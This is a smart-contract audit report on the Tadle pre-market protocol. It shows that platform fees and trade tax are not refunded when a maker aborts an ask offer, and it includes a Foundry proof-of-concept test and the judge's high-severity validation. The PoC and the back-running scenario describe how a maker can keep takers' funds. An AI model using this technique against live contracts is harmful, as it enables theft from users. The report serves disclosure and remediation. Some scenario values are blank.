Tadle

Tadle
DeFiFoundry
27,750 USDC
View results
Submission Details
Severity: high
Valid

Platform fee and trade tax are not refunded to user if maker abort the offer

Summary

Platform fee (including referral bouns) and trade tax is not refunded to user if maker abort the offer.

Vulnerability Details

When a user creates taker to fill a ask offer, they pay platform fee and trade tax along with deposited collaterals.

transferAmount = transferAmount + platformFee + tradeTax;

When the offer is aborted by the maker, user can call abortBidTaker to abort the taker and the deposited collaterals will be refunded to the user.

uint256 transferAmount = OfferLibraries.getDepositAmount(
preOfferInfo.offerType,
preOfferInfo.collateralRate,
depositAmount,
false,
Math.Rounding.Floor
);
MakerInfo storage makerInfo = makerInfoMap[preOfferInfo.maker];
ITokenManager tokenManager = tadleFactory.getTokenManager();
tokenManager.addTokenBalance(
TokenBalanceType.MakerRefund,
_msgSender(),
makerInfo.tokenAddress,
transferAmount
);

However, the platform fee and trade tax are not refunded, user will lose the funds for nothing, and a malicious maker can back-run the taker to abort the offer, take advantage of the user and steal trade tax.

Image the following scenario:

  1. Alice creates an ask offer, eachTradeTax is ;

  2. Bob creates taker against the offer, pays collaterals, trade tax and platform fee (platform fee rate is );

  3. Alice back-runs bob to abort ask offer;

  4. Bob calls to abort bid taker, his deposited collaterals are refunded but the platform fee and trade tax are not returned;

  5. Alice still owns trade tax paid by Bob.

Please follow the steps to run PoC:

  • Change Line 671 - 675 to below (this is to fix another issue in the codebase):

uint256 depositAmount = stockInfo.points.mulDiv(
- preOfferInfo.points,
- preOfferInfo.amount,
+ preOfferInfo.points,
+ preOfferInfo.amount,
Math.Rounding.Floor
);
  • Run the following test case in PreMarkets.t.sol

function testAudit_PlatformFeeAndTradeTaxAreNotRefunded() public {
// Create Market
address auditMarketPlace = GenerateAddress.generateMarketPlaceAddress("AuditMarket");
vm.startPrank(user1);
systemConfig.createMarketPlace("AuditMarket", false);
vm.stopPrank();
address alice = makeAddr("Alice");
deal(address(mockUSDCToken), alice, 1200e18);
address bob = makeAddr("Bob");
deal(address(mockUSDCToken), bob, 103.5e18);
address offerAddr = GenerateAddress.generateOfferAddress(preMarktes.offerId());
address stockAddr = GenerateAddress.generateStockAddress(preMarktes.offerId());
// Alice creates an ask offer
vm.startPrank(alice);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createOffer(CreateOfferParams({
marketPlace: auditMarketPlace,
tokenAddress: address(mockUSDCToken),
points: 1000,
amount: 1000e18,
collateralRate: 12000,
eachTradeTax: 300,
offerType: OfferType.Ask,
offerSettleType: OfferSettleType.Turbo
}));
vm.stopPrank();
// Bob creates taker
vm.startPrank(bob);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(offerAddr, 100);
vm.stopPrank();
// Alice aborts offer
vm.prank(alice);
preMarktes.abortAskOffer(stockAddr, offerAddr);
// Bob aborts taker
address bobStockAddr = GenerateAddress.generateStockAddress(preMarktes.offerId() - 1);
StockInfo memory stockInfo = preMarktes.getStockInfo(bobStockAddr);
vm.prank(bob);
preMarktes.abortBidTaker(bobStockAddr, stockInfo.preOffer);
// Bob is not refunded with platform fee and trade tax (3.5e18 in short)
assertEq(tokenManager.userTokenBalanceMap(bob, address(mockUSDCToken), TokenBalanceType.MakerRefund), 100e18);
// Alice still owns the trade tax
assertEq(tokenManager.userTokenBalanceMap(alice, address(mockUSDCToken), TokenBalanceType.TaxIncome), 3e18);
}

Impact

User pays fees for nothing, a malicious maker can steal funds from the user.

Tools Used

Manual Review

Recommendations

Platform fee and trade tax should be refunded to user is the offer is aborted.

Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-immediate-withdrawal-allow-maker-steal-funds

Valid high severity, given orginal offer makers are not a trusted entity to enforce a settlement. The trade tax set by the maker should be returned back to the takers to avoid abuse of abortion of ask offers to steal trade tax from takers. Note for appeals period: See issue #528 for additional details

Appeal created

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-immediate-withdrawal-allow-maker-steal-funds

Valid high severity, given orginal offer makers are not a trusted entity to enforce a settlement. The trade tax set by the maker should be returned back to the takers to avoid abuse of abortion of ask offers to steal trade tax from takers. Note for appeals period: See issue #528 for additional details

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.